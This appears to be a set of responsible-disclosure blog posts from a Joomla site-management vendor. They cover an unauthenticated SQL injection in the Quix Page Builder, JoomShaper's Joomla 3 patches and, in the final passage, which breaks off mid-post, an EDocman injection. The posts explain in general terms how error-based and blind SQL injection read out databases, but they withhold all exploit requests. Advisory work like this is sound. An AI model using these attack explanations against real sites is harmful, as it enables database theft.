mySites.guru discovered this security issue and reported it to ThemeXpert before publishing details. We withheld the exact request and any proof-of-concept until a fix was available and site owners had a reasonable window to update. This is how we handle every vulnerability we find: fix first, publish second.

What is the vulnerability?

Quix builds pages out of elements, and some of those elements load their content over a front-end AJAX endpoint that anonymous visitors can reach without logging in. One of them, the element that pulls in a single Joomla article, took an article id from the incoming request and used it to check whether that article exists before rendering. That existence check placed the id into a database query without casting it to an integer first, the textbook shape of a SQL injection.

The id does not arrive as a bare number. It is carried inside an encoded request parameter, which the endpoint decodes and reads the id back out of. Decoding it does nothing to make it safe: the value that comes out is still fully attacker-controlled, and it reaches the query unchanged. Joomla's standard input filtering, which constrained only the outer encoding, never looks at the decoded value. Quotes, parentheses and SQL keywords all survive.

So an attacker could supply a crafted id that turned the existence check into a query reading from any table in the Joomla database. No account needed, no CSRF token, nothing stolen first. It is the same public-endpoint-meets-unchecked-input pattern behind a long run of recent Joomla extension vulnerabilities.

In practice that means an unauthenticated attacker could read:

Joomla user accounts, including usernames and password hashes
The Joomla configuration secret and other stored data
Article, content and extension data across the whole database

We are deliberately not publishing the exact request or a working proof-of-concept. The point of this post is to get people updated, not to hand attackers a recipe.

This one is not blind: the database talks back

There are two broad flavours of SQL injection, and which one you are dealing with changes how quickly an attacker gets the data out. In the quiet kind, a blind injection, the response never prints the data. The attacker asks the database true-or-false questions one at a time and reads the answer from how the page changes. It works, but it is slow, a character at a time down a binary search.

This Quix flaw is the other kind, the loud one: an error-based injection. The affected endpoint catches the database error and reflects the message straight back in its response. That hands an attacker a much shorter path. Instead of inferring a value bit by bit, they craft an id that forces the database to fail while embedding the data they want inside the error message, and the endpoint prints that message back to them. The requested value, a username, a password hash, the site secret, comes back in the response to a single request.

Do not read "error-based" as a technicality. It is worse for the defender than blind, not better. Blind injection at least makes an attacker work for each value. Error-based removes even that friction: the database does the talking, the endpoint does the printing, and the attacker reads the answer off the screen. The end state is the same as any other full SQL injection, the entire contents of every table an anonymous request can reach, but it arrives faster and with less noise in your logs.

Because this is error-based, there is no "it would take a long time to exploit" comfort to fall back on. The data returns in the response. Confidentiality is either intact or it is gone, and against an unpatched Quix it is gone in one request per value. Treat any site that ran a vulnerable version as one where the database could have been read.

What could a hacker actually do with this?

Download your entire database. Every table, every row, every column, from an anonymous request that looks exactly like ordinary traffic in your access log.

That is the honest answer, and we are not speculating about it. We reproduced complete database extraction against this flaw repeatedly on our own Quix test installations, pulling table after table out through the endpoint until there was nothing left to take. Separately, we confirmed vulnerable versions of Quix running in the wild on sites you would expect to know better: organisations with security teams, compliance obligations, and budgets, all of them one anonymous request away from handing over the lot. We did not touch their data, and we did not need to. The version number told us everything.

Here is what walking off with a Joomla database actually gets someone:

Every user account and password hash. Hashes get cracked offline, at leisure, on hardware built for it. Any user who reused their password has handed over their other accounts too. A cracked Super User hash is simply an admin login, and no exploit is needed for the second visit.
other Joomla API secrets. It allows API Access. With it, an attacker stops needing your password.
Everything your site was trusted with. Customer records, order histories, addresses, private article drafts, form submissions, stored API keys for whatever else you connected. If it is regulated data, you now have a notifiable breach on your hands rather than a maintenance ticket.

The part that catches people out is how quiet it is. A database read writes nothing. No file changes, no new admin user, no web shell, no malware for a scanner to find, nothing in your integrity check. Your site looks perfect, because it is: the attacker took a copy and left the original exactly where it was.

This is why "restore a backup" is not a fix for a database read. Restoring undoes changes, and nothing changed. Once the data is copied it stays copied, and the only remaining moves are rotating every credential in it and telling the people whose data it was. Updating stops the next copy, not the one already taken.

You never needed AI to weaponise SQL injection

Every time a SQL injection is disclosed now, someone frames AI as the thing that made it dangerous. It is worth saying plainly that it did not. Fully automated SQL injection, error-based and blind alike, has been free, off-the-shelf tooling for about twenty years. sqlmap, the standard open-source tool, has automated error-based, boolean-based and time-based extraction and dumped entire databases since July 2006. Point-and-click extractors put the same power in front of absolute beginners even earlier. The underlying techniques were documented publicly in the early 2000s.

An injection a human would find tedious is a single sqlmap command that has been public since before a lot of today's extension code was even written. AI did not make SQL injection practical. sqlmap did that two decades ago. This matters because it kills the most common excuse for not updating: "nobody would really bother extracting a whole database by hand". Nobody does it by hand. They point a tool at it and walk away.

Joomla knows this class of bug intimately, and not only from its extensions. Its own core has shipped serious SQL injection flaws, and they did real damage long before anyone had an AI assistant:

October 2015, com_contenthistory (CVE-2015-7857 and related). An unauthenticated SQL injection in Joomla core, in every release from 3.2.0 to 3.4.4, let an anonymous attacker steal a live Super User session and take the whole site over. It was error-based, exactly like this Quix flaw, and it was being exploited in the wild within 24 hours of the fix, against a component that shipped enabled by default on millions of sites.
May 2017, com_fields (CVE-2017-8917). An unauthenticated SQL injection in Joomla 3.7.0, through an ORDER BY parameter that public exploits drove both blind and error-based, exposing session tokens and password hashes. It was weaponised with public exploit code within days.

None of those needed AI. SQL injection has been fully compromising Joomla sites, core and extensions alike, for well over a decade, with tools any teenager could download for free. The stakes were never raised by AI. They were always this high, and the only reliable answer has always been the same one: update the affected code.

Sibling elements were hardened, this one was missed

This is the detail that makes the flaw interesting rather than embarrassing. ThemeXpert had already been through Quix's element code, hardening exactly this class of input, and had shipped that work one day earlier as Quix 6.2.0, a release whose changelog opens by announcing a completed security audit of the extension. The elements that load lists of articles cast their ids to integers and lean on Joomla's own parameterised article model. A related element that reads an article field got a strict allow-list of column names, with a comment in the code describing the fix. The team clearly knew the shape of the risk and had been closing it element by element.

The single-article existence check was the one that slipped through. It kept its hand-written pre-check, and that pre-check kept the raw id. It is the classic pattern of a hardening pass that fixes the neighbours and overlooks the helper next door. It is a reminder that "we fixed that class of bug" and "we fixed every instance of that class of bug" are different statements, and the gap between them is where findings like this live. Our audit of that freshly hardened 6.2.0 build found seven issues it had missed, this injection among them. ThemeXpert fixed six of them the following day in 6.2.1 and the last, an unsanitised CSS ID/Class field, in 6.2.2.

Read that as an argument for external eyes rather than a knock on ThemeXpert. An audit by the people who wrote the code is bounded by the same assumptions that produced the code, which is precisely why a second pass by someone else keeps finding things. 6.2.0 was a real and substantial piece of security work. It was also, inevitably, incomplete, and the only way anyone learns that is by looking.

The fix is a single line: cast the id to an integer before it reaches the query, so a crafted value can no longer change the SQL. That is exactly what Quix 6.2.1 does.

How serious is it?

Serious enough that we treated it as a priority disclosure. The thing that decides real-world impact here is short:

Whether the site has a web application firewall that filters SQL. Because the payload is literally SQL, a WAF often recognises and blocks it before it reaches Quix. Sites running bare, with no such protection, are the exposed ones.

Note what is not on that list. Unlike some front-end injection flaws, this one does not need the site to have any particular content published, or a specific menu item, or a visible page using the affected element. If Quix is installed, the endpoint is reachable, and the injection works. There is no second precondition for an attacker to satisfy. That makes the exposure broader than flaws that depend on the site being in a particular state.

This is the case for defence in depth. A SQL-aware firewall in front of a vulnerable extension can catch this class of attack before it reaches the code, buying you time to update. It does not mean you can skip updating. Treat the firewall as the seatbelt and the patch as not crashing the car: you want both.

One more thing worth saying plainly: Quix is not obscure code on neglected sites. It is a paid, actively maintained page builder chosen precisely because it is polished and well supported, and it runs on plenty of professionally managed Joomla installations, including ThemeXpert's own. Being well-regarded is not the same as being safe. "We only use trusted, well-maintained extensions" is a good instinct, and on its own it is not a defence against a flaw in one of them. The most buttoned-up site in the world is still exposed if it is a version behind on the extension that has the hole.

Would a long, strong .htaccess have protected me against this?

Almost certainly not. A big hardened .htaccess is the security blanket a lot of Joomla owners reach for, and it guards a different kind of attack than this one. The exploit here is an ordinary, allowed request to index.php, the exact request your .htaccess exists to let through so the site works at all. The dangerous part is not the URL, it is the SQL hidden inside one request parameter, and a stock .htaccess never looks there.

To block this at the .htaccess layer you would need explicit rules that pattern-match SQL syntax in the request and return a 403. Hardly anyone runs those, they are brittle, and they tend to block real visitors as often as attackers. Inspecting request input for SQL is really the job of a web application firewall with SQL injection filtering switched on. Even then it only helps if that filtering is actually enabled: a WAF with its SQLi rules turned off, or left in log-only mode, waves this through as happily as no WAF at all. Protection you have to remember to configure is not the same as code that is not vulnerable in the first place.

The short version applies here directly. Update Quix.

Which versions are affected?

Quix 6.2.0, the current release at the time of disclosure, and every earlier version are affected. The vulnerable pre-check helper is long-standing and predates the hardening pass that fixed its sibling elements, so there is no clean lower bound: the whole Quix history below the fix is in range. The fix is in 6.2.1, which casts the article id to an integer before it reaches the query so a crafted value can no longer change the SQL. A later release, 6.2.2, closes a further issue we reported, so 6.2.2 is the version to run.

If you run any version of Quix Page Builder earlier than 6.2.2, assume your site is affected and update now. Do not wait to confirm exploitation: because this is error-based, by the time you can confirm it, the data is already gone.

The SQL injection was not the only thing we reported

This post covers the SQL injection because it is the one an anonymous visitor can reach across the internet with a single request, and the one with the clearest consequence. It was one of seven security issues we reported to ThemeXpert, and the Joomla CNA has assigned a CVE to each. Quix 6.2.1 fixed six of them, and Quix 6.2.2 the seventh. In the vendor's own words, these releases also:

Fixed a code-execution path via the Raw HTML element, so PHP tags in element content are now neutralised (CVE-2026-60026)
Fixed a path traversal and arbitrary file read in the Form element submission handler (CVE-2026-60027)
Fixed stored cross-site scripting through the icon field, including inline SVG (CVE-2026-60028)
Added an explicit permission check to the admin media manager endpoint (CVE-2026-60030)
Stopped reflecting internal error details in front-end AJAX responses (CVE-2026-60031)
Sanitised the Advanced CSS ID and Class fields, so a stored value can no longer break out of the CSS selector into the surrounding markup (CVE-2026-60029, closed in Quix 6.2.2)

That last error-disclosure fix is worth pausing on, because it is the mechanism this whole post rests on. The reflected database error is what made the injection error-based instead of blind, handing an attacker the data in the response rather than making them tease it out. Quix 6.2.1 closes the injection and stops the endpoint reflecting internal errors, so the same class of mistake elsewhere in the component has lost its loudspeaker.

ThemeXpert also hardened the bundled JMedia media manager across two releases: 1.6.0 blocks executable and polyglot uploads (CVE-2026-60032) and closes a remote-URL SSRF (CVE-2026-60033), and 1.6.1 sanitises uploaded SVG and serves files with hardened headers to close a media-picker XSS (CVE-2026-60034). If you run JMedia, update it to 1.6.1 too.

We are not publishing exploit detail or a proof-of-concept for any of the others, for the same reason we are not publishing the SQL injection request: the fix is out, and the useful thing now is that you install it. Updating to 6.2.2 closes all seven.

Credit where it is due

We gave ThemeXpert a private report and withheld all public detail while they worked. They never needed the window. Quix 6.2.1 shipped the same day we reported, with the id cast to an integer and the injection closed, and 6.2.2 followed the next day to close the last of our findings. ThemeXpert credited mySites.guru for the find.

That is the right response, and worth saying out loud. Plenty of vendors sit on a report for weeks. A same-day turnaround on six separate security findings, with the seventh shipped the day after, from a private report to a pair of releases, is at the far end of good. Our thanks to the ThemeXpert team, and to their CTO Abu Huraira Bin Aman, who confirmed each fix back to us directly.

ThemeXpert is not the exception this month either. Most of the developers we have responsibly disclosed to during this run have responded the same way: grateful, quick to thank us, and shipping a fix promptly. The right thing for site owners to do in return is simple: apply the update they shipped.

SQL injection is a recurring theme right now

This Quix flaw is not an isolated find. It is one of several unauthenticated SQL injections we have uncovered in widely used Joomla extensions in a single research run, and they all share one root cause: a public front-end endpoint that takes anonymous request input and hands it to a database query without turning it into a safe value first.

DPCalendar (CVE-2026-57831, CVSS 8.7). The same class of unauthenticated SQL injection in one of the most popular calendar and events extensions for Joomla. Fixed in 10.11.2 and 8.19.4.
AcyMailing (CVE-2026-56292, CVSS 8.7). The same shape again in one of the most popular newsletter extensions for Joomla, and because it shares a codebase, the WordPress plugin too.
EDocman. Another unauthenticated SQL injection from the same run, this time in a document-management component.
The month of Joomla disclosures. Quix is one entry in a larger run of vulnerabilities we found and reported across popular Joomla extensions in a single month, several of them this exact SQL injection shape.
Why AJAX endpoints are a CMS security blind spot. The underlying pattern, and why front-end element endpoints like Quix's keep producing this bug.

The lesson is not "avoid page builders". The reputable ones are well maintained, and this vendor fixed the issue when told. The lesson is that any extension exposing a front-end endpoint to anonymous visitors is attack surface, and keeping those extensions updated is security-critical, not just feature maintenance.

How do you update Quix safely?

Take a backup first. Before any extension update on a production Joomla site, back up the database and files. If you use mySites.guru, trigger a snapshot or a full backup so you have a clean starting point.
Update through Joomla's Extensions manager, or in bulk from mySites.guru. On a single site, open the Joomla administrator, go to System, then Update, then Extensions, and let Joomla pull Quix 6.2.2. If it does not appear, use Find Updates, or download the latest package from your ThemeXpert account and install it over the top. If you manage more than one site, use the mySites.guru mass update feature to upgrade Quix across every affected site from a single dashboard. You can even enable auto-updates for any Joomla extension so the next fix like this reaches your sites without you lifting a finger.
Confirm the version. After updating, open Components, then Quix, and check the version shown is 6.2.2 or later.
Clear caches. Clear Joomla's cache and any CDN or page cache so stale front-end assets do not linger.

Updating closes the door. It does not undo any data an attacker may already have read, so if you handle sensitive data and were on a vulnerable version for a long time, treat credentials and any exposed data as potentially known.

How do I find every Quix site I manage?

The first question after any extension security release is the awkward one: which of my sites actually run this? Up to about ten sites, you can log in to each Joomla admin and check the installed extensions list. Past that, you need a single view.

mySites.guru keeps a live inventory of every extension, template and framework on every Joomla and WordPress site in your account. You search for Quix once and get back every connected site running it, the version each one is on, and whether an update is available. No logging into forty admin panels one at a time.

View every Quix install across your sites

Open your Extension Inventory

Search for Quix across every connected Joomla site and filter for anything on 6.2.1 or earlier to find the installs that still need updating. Not a subscriber? Sign up free and connect your sites.

Once you know which sites need it, the mass updater handles the rollout: tick the sites on an old version, push the update to all of them from one screen.

For agencies managing dozens of Joomla sites

The patch is the easy bit. Knowing which client sites run Quix, and getting the update onto all of them, is the work. See how mySites.guru manages multiple Joomla sites from one screen.

Why page builders are a quiet attack surface

This is a pattern, not a one-off, and it is why the class of bug matters more than this single instance. Page builders make attractive targets for the same reason they are useful: they render their content through front-end endpoints that anonymous visitors are meant to reach. An element that loads an article, a form that accepts a submission, a widget that fetches data, none of that can require a login, because the whole point is that visitors see it.

Every one of those public endpoints is attack surface. When the code behind them trusts request input, or hands it to a database query without escaping or casting, an anonymous visitor becomes an anonymous attacker. We have seen the same class of issue across page builders like PageBuilder CK, form builders like Balbooa Forms, template frameworks like Novarain, calendar tools like DPCalendar, and newsletter systems like AcyMailing: a public task that reaches a dangerous operation with too little checking in between.

The lesson for site owners is not "avoid page builders". They are fine, and the reputable ones are well maintained. The lesson is that keeping them updated is security-critical, not just feature maintenance. An extension two versions behind is not a cosmetic problem.

Stay Ahead of the Next One

This is one extension on one day. There will be another, because Joomla runs on thousands of third-party extensions and the ones that accept input from anonymous visitors keep producing bugs like this. The hard part is never the update itself. It is knowing a fix exists, knowing which of your sites are affected, and getting to them before an attacker does, across every extension on every site you look after.

Get free email alerts when a Joomla vulnerability breaks

We email a plain-English alert the moment a serious flaw like this one is disclosed, with the affected versions and what to do. No charge, unsubscribe any time.

Subscribe to security alerts

What to do right now

Update every Joomla site running Quix Page Builder to 6.2.2 or later, one at a time or in bulk from one dashboard
If you manage multiple sites, let mySites.guru show you which ones are still exposed rather than checking by hand
Take a backup before updating, and clear caches afterwards
If you were on a vulnerable version for a long time and handle sensitive data, treat any exposed data as potentially read, and if you suspect a breach, find any hacked files and backdoors and follow our guide to fixing a hacked Joomla or WordPress site

Disclosure and Severity

This flaw is CWE-89, SQL injection, reached by an anonymous visitor over the network in a single request with no privileges and nothing stolen first. The Joomla CNA scored it CVSS 4.0 8.7, High. What comes out is every user record, every password hash, and other Joomla API secrets.

8.7 CVSS 4.0

High CVE-2026-58078, scored by the Joomla CNA

Unauthenticated and exploitable over the internet, ending in full read access to the site database. Being error-based makes exploitation trivial: the data returns in the response, one value per request.

No login needed Exploitable over the internet Full database read Password hashes exposed

This vulnerability is tracked as CVE-2026-58078, assigned on 16 July 2026 by the Joomla CNA, the body that assigns identifiers for Joomla and its extensions, crediting Phil Taylor of mySites.guru as the finder. The Joomla CNA also assigned CVEs for the other issues we reported in the same disclosure: CVE-2026-60026 to CVE-2026-60031 for the remaining six Quix findings, and CVE-2026-60032 to CVE-2026-60034 for the three JMedia findings.

Field	Detail
CVE	CVE-2026-58078 (assigned via the Joomla CNA)
Component	Quix Page Builder for Joomla (`com_quix`)
Vendor	ThemeXpert (themexpert.com)
Type	Unauthenticated, error-based SQL injection (CWE-89)
CVSS 4.0	8.7 (High), `AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N` (Joomla CNA)
CWE	CWE-89 (Improper Neutralization of Special Elements used in an SQL Command)
Impact	Anonymous read access to any database table, including user accounts and password hashes
Finder	Phil Taylor, mySites.guru
Affected versions	6.2.0 and all earlier versions
Fixed in	Quix 6.2.1 (this SQL injection); update to 6.2.2, which closes a further issue we reported

The disclosure ran on an unusually short cycle from audit to fix:

Date	Event
14 July 2026	ThemeXpert ships Quix 6.2.0, a release whose changelog opens "Completed a full security audit of the extension" and describes hardening every front-end API endpoint, input handling and output escaping, and file, URL and database query handling across the component.
15 July 2026	During routine security research on the extensions our customers rely on, mySites.guru audits that build and identifies the unauthenticated SQL injection, confirms it against the code, and proves it on a local test install that reads database contents back through a single anonymous request. The issue is disclosed privately to ThemeXpert alongside six further security findings, with all public detail withheld.
15 July 2026	ThemeXpert ships Quix 6.2.1 the same day, casting the article id to an integer and closing the injection, along with fixes for five of the other six issues we reported and hardening of the bundled JMedia media manager. mySites.guru adds Quix to its Joomla extension vulnerability database so every connected site below the fix is flagged, and requests a CVE through the Joomla CNA. No proof of concept is released.
16 July 2026	ThemeXpert ships Quix 6.2.2, closing the seventh issue we reported, the unsanitised CSS ID and Class fields, and adding automatic cache clearing on update so the fixes take effect without a manual cache flush.
16 July 2026	The Joomla CNA assigns CVE-2026-58078, scoring it CVSS 4.0 8.7 (High) and crediting Phil Taylor of mySites.guru as the finder.

JoomShaper Patched the Joomla 3 It Said It Never Would

phil@mysites.guru (Phil Taylor) — Wed, 15 Jul 2026 00:00:00 GMT

Six days ago, JoomShaper told everyone still running Joomla 3 exactly where they stood. The announcement listed what Joomla 3 users could expect from the company, and the third bullet was the one that mattered: "No security patches, regardless of severity."

Today, JoomShaper released security patches for Joomla 3. Helix Ultimate, Helix3 and SP Page Builder, all three of them, for the version of Joomla the company had just finished writing off.

That is the right call, and it arrived quickly. It is also a straight reversal of a position that was six days old, and if you manage Joomla 3 sites it changes what you should do this week. So we downloaded the packages and read the code rather than the announcement.

What JoomShaper Shipped for Joomla 3

Three separate patches, released today:

Product	Joomla 3 patch	Where it lives
Helix Ultimate	Security fixes v1.0.0, patching the plugin to a `2.1.4-j3sec` baseline	GitHub release tag
Helix3	Security patch v1.0.0, plugin and template to 3.1.2	GitHub release tag
SP Page Builder	The existing manual patch, now installable through Joomla	JoomShaper site download

The SP Page Builder entry comes with an admission worth reading twice. JoomShaper says it "released the SP Page Builder security update for Joomla 3 a while back, but it had to be applied manually", and today's release just makes that same patch installable through the extension installer. So a Joomla 3 security patch for SP Page Builder already existed at the point the company announced there would be no Joomla 3 security patches, regardless of severity.

These are security-only releases. JoomShaper is explicit that no other bug fixes are included, and the rest of the 9 July position has not moved: no new features, no bug fixes, no technical support, and migrate as soon as you can. The security-patch line is the part that changed.

What To Do About It Today

If you run Joomla 3 sites with any of these three extensions on them, the job this week is short: work out which sites are affected, get the patch onto them, and then check whether anything got in during the window when they were open.

The first part is the part that does not scale by hand. mySites.guru keeps a live inventory of every Joomla and WordPress site in your account with the core version and full extension list for each, so you can filter for Joomla 3 sites, search for Helix or SP Page Builder, and see the real list rather than guessing from memory. It flags end-of-life versions automatically too, so the exposed sites surface on their own.

See which of your sites this actually affects

Open your Extension Inventory

Filter for Joomla 3 and search for Helix or SP Page Builder. Not a subscriber? Sign up free and connect your sites.

The second part is where the vendor route gets tedious. Look at what JoomShaper's own instructions actually ask of you: download three separate zip files from three different places, two GitHub release tags and a site download, then log into every single Joomla site you manage and upload each patch by hand through the extension installer. For one site that is a coffee break. For forty Joomla 3 sites with a mix of these three extensions on them, it is a day you were not planning to spend, and it is the kind of job where site thirty-seven gets skipped and nobody notices until something else does.

The day before this reversal, we shipped our own tool that backports JoomShaper's fixes into the Joomla 3 builds, because at that point the vendor had said the fixes were never coming. They have now come, and we are not going to pretend that is bad news: a vendor patch is better than a third-party guard, and if the official patch installs cleanly on your site, take it. What our toolset saves you is the legwork. One toggle applies the fix logic for every affected JoomShaper product across every site in your account at once, with a backup taken first and a one-click revert, instead of three downloads and forty logins.

What neither route changes is the gap people keep walking into. Patching closes the door. It does not evict whoever is already inside.

What Is Actually in the Patch

We read the code, and the fixes are real ones rather than cosmetic hardening. The Helix3 AJAX plugin is the clearest example, because it is the entry point behind CVE-2026-49049, the flaw we disclosed and the doorway for the AntonKill defacement wave.

The patched plugin now runs a deny-by-default allowlist. Every action is checked against a list of permitted names before anything happens, and anything unrecognised is rejected outright. The write actions, save, remove, load, resetLayout, import, updateFonts and fontVariants, now go through a single gate that demands both a valid CSRF token and real administrator permission:

private function requireAuthorisedAdminRequest()
{
  $user = $this->getCurrentUser();

  if ($user->guest || (!$user->authorise('core.admin') && !$user->authorise('core.manage', 'com_templates'))) {
    $this->sendJsonError(Text::_('JERROR_ALERTNOAUTHOR'), 403);
  }

  if (!Session::checkToken('request')) {
    $this->sendJsonError(Text::_('JINVALID_TOKEN'), 403);
  }
}

That is the correct fix. The original flaw was an anonymous visitor reaching those actions with no token and no permission check at all, and this closes it at the right point.

The rest is the same standard applied consistently. Layout filenames are sanitised down to alphanumerics, hyphens and underscores, then resolved with realpath() and confirmed to sit inside the layout directory, which kills the traversal. Image uploads are restricted to an extension allowlist. Raw $_POST access is replaced with Joomla's input filter. Imports and layout saves are capped at 1MB. The public voting action gets a token and a rate limit of five votes a minute.

Helix Ultimate gets the same treatment across a wider surface: an open redirect fix on the helixreturn login flow, central token and permission enforcement on the AJAX actions, upload hardening, and output escaping through the mega menu. Every menu field, the title, anchor attributes, icon and image classes, is now run through htmlspecialchars(), with dedicated sanitisers for badge text and colours. That is the stored cross-site scripting hole in the site chrome being closed at the output end.

The Version Gate Nobody Mentions

The announcement does not mention this, and it is the thing most likely to bite an agency planning a patching round.

The Helix Ultimate Joomla 3 patch checks what you are running before it will touch anything. Its installer declares a supported range and refuses everything outside it:

const HELIX_BASELINE = '2.1.4-j3sec';
const SUPPORTED_HELIX_MIN = '2.1.0';
const SUPPORTED_HELIX_MAX = '2.1.4-j3sec';

Fall outside that and the install aborts with "Unsupported Helix Ultimate version". It also requires Joomla 3.10.x specifically and PHP 7.2.5 or later.

The problem is which sites that excludes. Joomla 3 sites are, by definition, the ones nobody has touched in years, and their Helix Ultimate installs skew old accordingly. Plenty are on 1.1.x or 2.0.x builds. Those sites cannot take this patch at all. They will download it, run the installer, get an error, and be exactly as exposed as they were this morning, except now with the impression that patches exist for them.

So before you plan any patching round, check the version you are actually running on each site, not the version you assume. If a site sits below 2.1.0, the vendor patch is not an option and the honest answer for that site is that migration moved up your priority list today.

The Logistics Are Rough

Three practical things we hit trying to follow JoomShaper's own instructions, which you will hit too.

The download links are missing. Both the Helix Ultimate and Helix3 sections tell you to "Download the security patch .zip file from GitHub" and neither sentence is a link. The packages exist and they are properly built, with checksums and a self-uninstalling installer, but the announcement does not get you to them. They are on the j3-security-v1.0.0 release tag of each repository, linked in the table above.

The SP Page Builder patch is somewhere else entirely. It is not on GitHub with the other two, because the SP Page Builder repository has not been touched since 2020. It comes from the JoomShaper site download instead.

And the patched extension does not announce itself. The Helix Ultimate package patches files to a 2.1.4-j3sec baseline and then removes itself, so a patched site does not obviously look different from an unpatched one. If you are tracking this across a lot of sites, record what you patched as you go, because the version number is not going to tell you later.

Patching Is Not Cleaning

The reason this distinction matters more than usual: these particular flaws were exploited in the wild before any of these patches existed.

SP Page Builder's unauthenticated upload, CVE-2026-48908, was scored CVSS 10.0 and used to plant hidden Joomla Super Administrators. The Helix3 flaw fed a defacement wave that stores its payload in the database rather than in a file. The Helix Ultimate mega-menu issue was used to store cross-site scripting inside the menu settings, aimed at creating a Super User out of the next admin who logged in.

Every one of those leaves something behind that a patch does not touch. A rogue Super Administrator survives patching. A payload sitting in the params column of your #__menu table survives patching, and survives a file scan, and survives a clean-file restore, because it was never a file. Attackers plant dormant droppers, hidden admins and malicious cron jobs precisely so that the obvious cleanup misses them.

So if a site of yours was running a vulnerable build while these holes were open, patch it and then check it. mySites.guru ships one-click cleanup tools for these exact artefacts: rogue Super Admin accounts flagged by the signatures these campaigns reuse, the poisoned Helix Ultimate mega menu, the Helix3 custom code hack, and the rogue SP Page Builder icon-font assets. They work whatever Joomla version the site runs, because this wave hit Joomla 4, 5 and 6 sites as well.

Does This Change the Migration Advice?

Not in the slightest, and JoomShaper says so itself in the patch notes.

Joomla 3 reached end of life in August 2023. The paid eLTS programme that extended it ended in February 2025. Since then the core has had no official security patches of any severity, and today's release does nothing about that, because it patches extensions, not the platform they sit on. A hardened extension on an unpatched core is a better position than an unhardened one. It is still not a supported site.

What today buys you is breathing room, and the right use of breathing room is to spend it migrating. The targets are Joomla 5 or Joomla 6. Not Joomla 4: its own security support ended in October 2025, so migrating 3 to 4 moves you onto another unsupported line. For the core itself in the meantime, mySites.guru applies the backported Joomla 3.10.999 security patches with a single toggle, which closes the known core holes while you plan the move.

The Bottom Line

JoomShaper got to the right answer, and got there in six days. That deserves saying plainly, because the alternative, a vendor leaving a CVSS 10.0 class of flaw unpatched on the majority of live Joomla sites, was a genuinely bad outcome and it did not happen.

What the six days show is how much weight a vendor's end-of-life policy carries when it is announced as final. For the length of that window, every agency running Joomla 3 was told the fixes were never coming and made decisions on that basis. Some of those decisions were "leave it, nothing can be done". The patches were reachable enough that they shipped less than a week later.

The practical takeaway is the same one we keep arriving at. Know which sites you have, know what is on them, patch what you can, clean what got hit, and keep migrating. Start with a free audit on one site if you want to see what your Joomla 3 exposure actually looks like.

Unauthenticated SQL Injection in EDocman found by mySites.guru

phil@mysites.guru (Phil Taylor) — Tue, 14 Jul 2026 00:00:00 GMT

EDocman is one of the most widely installed document and download management extensions for Joomla. During routine security research on the extensions our customers rely on, mySites.guru discovered an unauthenticated SQL injection vulnerability in EDocman and reported it privately to JoomDonation, who fixed it in EDocman 3.9.0.

If you run EDocman on any Joomla site, update to 3.9.0 now. If you manage more than a handful of sites, read on for how to find every affected one at once. This is the same class of flaw we recently found and reported in AcyMailing and DPCalendar: a public front-end endpoint that trusts request input it should not.

mySites.guru discovered this security issue and reported it privately to the EDocman team. JoomDonation has now released the fix in EDocman 3.9.0. We are still withholding the exact request and any proof-of-concept while site owners update. This is how we handle every vulnerability we find: fix first, publish second.

TL;DR

mySites.guru found an unauthenticated SQL injection in EDocman for Joomla and reported it responsibly to the vendor
EDocman 3.8 and earlier are affected, and the vulnerable feature is long-standing. JoomDonation fixed it in EDocman 3.9.0
A public front-end endpoint places a request parameter straight into a database query, so a single anonymous request could read data from any table: user accounts, password hashes, stored content, other Joomla API secrets, everything in the database
We did not stop at theory. We proved a full database read on a test install, pulling back the site's Super User account and confirming the database connected as the MySQL superuser, so the read reached every database on that server
Update to EDocman 3.9.0 now. If you cannot update immediately, make sure a SQL-filtering firewall is in front of the site as a stopgap
We are still withholding the exact request and any proof-of-concept while site owners update
mySites.guru flags every connected Joomla site still running a vulnerable version, so you do not have to check each site by hand

What is the vulnerability?

EDocman exposes a front-end endpoint that anonymous visitors can reach without logging in. That endpoint accepted a request parameter and placed it into a database query without sanitising or quoting it, the textbook shape of a SQL injection. Joomla's standard text filter, which the extension applied to that parameter, strips HTML but does nothing to neutralise SQL syntax: it removes tags and leaves quotation marks, parentheses and SQL keywords untouched. It is the same public-endpoint-meets-unchecked-input pattern behind a long run of recent Joomla extension vulnerabilities.

So an attacker could supply a crafted parameter that turned the query into one reading from any table in the Joomla database. No account needed, no CSRF token, nothing stolen first, and it works in a single request.

In practice that means an unauthenticated attacker could read:

Joomla user accounts, including usernames and password hashes
The Joomla configuration secret and password reset tokens
Article and content records, extension configuration, session data and other stored values

We are deliberately not publishing the exact request, the affected endpoint or a working proof-of-concept. The point of this post is to get people onto 3.9.0, not to hand attackers a recipe while sites are still updating.

This was a full database compromise, and we proved it

It is one thing to say a flaw "could" read the database. We confirmed it against a real EDocman install and read the data back. On a local test site running EDocman 3.8, a single anonymous request returned:

the database version and the name of the live database
the identity of the account the site connects to MySQL with, which was the MySQL superuser (root)
the site's Super User record pulled straight out of the Joomla users table

That last point is the whole game. If an anonymous stranger can read the Super User row, they can read every row: every user account, every bcrypt password hash, every password reset token, other Joomla API secrets, order records or API keys stored anywhere in the database. Confidentiality is not partially affected here. It is gone.

There is an aggravating factor that makes this worse than one leaked site. On many Joomla installs, and on the one we tested, the database account the site connects with is highly privileged. Where that is the case, a read-only injection like this one is not limited to the one site's tables: it can read every database on that MySQL server, including the server's own internal user table that holds every account's hash. The blast radius of a single injection can be an entire shared database host, not just one Joomla site. That is why "it is only a read" is cold comfort. A read of everything is a compromise.

Error-based and blind: both routes work here

There are two broad flavours of SQL injection, and this endpoint is exposed to both.

The fast one is error-based. Where a site returns database errors to the browser, whether through Joomla's debug mode, PHP's display_errors, or a third-party error page or template that echoes the exception, an attacker forces the database to fail in a way that prints real data inside the error text. Each request comes back with dozens of characters of actual database content, so a Super User hash falls out in a handful of requests. We saw this fire on the test site even with Joomla debug switched off, because a third-party extension's error page leaked the database exception on its own.

The quieter one is blind. Where errors are fully suppressed, the response does not print anything useful, so the attacker asks the database true-or-false questions one at a time (is the first character of the admin hash greater than m?) and reads the answer from how the page behaves. It is slower, and it is not smaller. Automated tooling walks a database out one bit at a time in seconds of wall-clock, and the end state is identical: the full contents of every table an anonymous request can reach. Do not read "blind" as "limited". Blind is a throughput detail for the attacker, not a safety margin for you.

If you have not met blind SQL injection before, this short explainer from Indusface walks through the exact mechanics:

None of this needs anything clever or new. sqlmap, the standard open-source tool, has automated both error-based and blind extraction and dumped entire databases point-and-click since 2006. A flaw a human would find tedious to exploit by hand is a single command that has been public for the better part of twenty years. The only reliable answer has always been the same one: update the affected code.

The changelog understates how serious this is

